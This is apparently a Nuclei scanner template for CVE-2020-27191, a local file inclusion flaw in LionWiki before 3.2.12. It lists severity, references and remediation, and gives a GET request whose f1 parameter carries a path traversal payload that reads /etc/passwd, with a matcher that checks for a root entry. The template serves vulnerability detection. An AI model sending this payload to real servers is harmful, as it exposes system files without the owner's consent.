id: CVE-2020-27191 info: name: LionWiki <3.2.12 - Local File Inclusion author: 0x_Akoko severity: high description: LionWiki before 3.2.12 allows an unauthenticated user to read files as the web server user via crafted strings in the index.php f1 variable, aka local file inclusion. remediation: | Upgrade LionWiki to version 3.2.12 or later to mitigate the LFI vulnerability. reference: - https://www.junebug.site/blog/cve-2020-27191-lionwiki-3-2-11-lfi - http://lionwiki.0o.cz/index.php?page=Main+page - https://nvd.nist.gov/vuln/detail/CVE-2020-27191 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-27191 cwe-id: CWE-22 epss-score: 0.00787 epss-percentile: 0.79421 cpe: cpe:2.3:a:lionwiki:lionwiki:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: lionwiki product: lionwiki tags: cve,cve2020,lionwiki,lfi,oss http: - method: GET path: - "{{BaseURL}}/index.php?page=&action=edit&f1=.//./\\.//./\\.//./\\.//./\\.//./\\.//./etc/passwd&restore=1" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0:" - type: status status: - 200 # digest: 4a0a00473045022100919d606bed6cd544212b4c00f353f09f2fb202137e578eb1d8a52009d7c6da1002201320f82319797b02f808fa2cd526b15745a18faa63b145694aef1f7abc825f68:922c64590222798bb761d5b6d8e72950